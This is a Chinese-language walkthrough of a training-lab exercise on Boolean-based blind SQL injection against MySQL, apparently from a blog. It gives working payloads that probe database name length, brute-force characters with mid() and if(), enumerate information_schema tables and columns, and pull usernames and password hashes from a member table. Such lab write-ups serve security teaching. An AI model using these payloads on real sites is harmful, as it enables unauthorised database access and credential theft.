SQL注入漏洞测试(布尔盲注)

一.背景介绍

一位热心的网友再次向“墨者”安全工程师挑战,“墨者”工程师在注入时发现网页无回显,“墨者”工程师想了一会就注入完成拿到了key。

二.实训目标

1、掌握SQL注入原理;

2、了解MySQL的数据结构;

3、了解布尔盲注相关语句;

三.什么是布尔盲注?

1.

布尔盲注一般适用于页面没有回显字段,并且他不支持联合查询,web页面只返回正确和错误界面。

2.使用length()函数判断查询结果的长度,使用substr()函数截取每一个字符,并测试出所有的的字符长度。

四.解题步骤

1.进入通知界面,使用单引号

通过上面2个界面我们发现在用单引号的时候他页面返回错误

2.使用/1 /0 的方式判断

通过上面的对比/1为真他返回正确的界面,/0为假他返回错误的界面,结合12上面的步骤我们可以判断出注入类型为布尔盲注。

3.我们开始判断数据库的长度,使用and length(database())=? --+

通过上面2个图的比对我们知道数据的长度为10

4.接下来跑数据库名使用语句/if(mid(database(),1,1)='a',1,0)这里建议分开弄一起可能会错的

mid()截取函数,mid(database(),1,1) ='a'截取第一个字符/if (条件表达式,1,2)这个语句正确表达返回1错误返回2

先在网址哪里输入语句/if(mid(database(),1,1)='a',1,0),然后使用burp抓包

下面为添加变量

5. 然后开始爆破

得到数据库名为:stormgroup

6.得到数据库名接下来我们跑表 ,使用if((length((select group_concat(table_name) from information_schema.tables where table_schema='stormgroup'))=1),1,0)

得到表的长度为13

使用:

/if((mid((select group_concat(table_name) from information_schema.tables where table_schema='stormgroup'),1,1)='a'),1,0)

表member notice

判断列的长度:

if((length((select group_concat(column_name) from information_schema.columns where table_name='member'))=1),1,0)

得到长度为20

截取列:

/if((mid((select group_concat(column_name) from information_schema.columns where table_name='member'),1,1)='a'),1,0)

得到列的值:name password sattus

使用

/if((mid((select group_concat(name) from member),1,1)='a'),1,0)

得到账户名:mozhe mozhe

/if((mid((select group_concat(password) from member),1,1)='a'),1,0)

得到密码:3114b433dece9180717f2b7de56b28a3

67b5a98202885b2b38991003928e94f9

跑状态知道第二个密码有用

登录

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值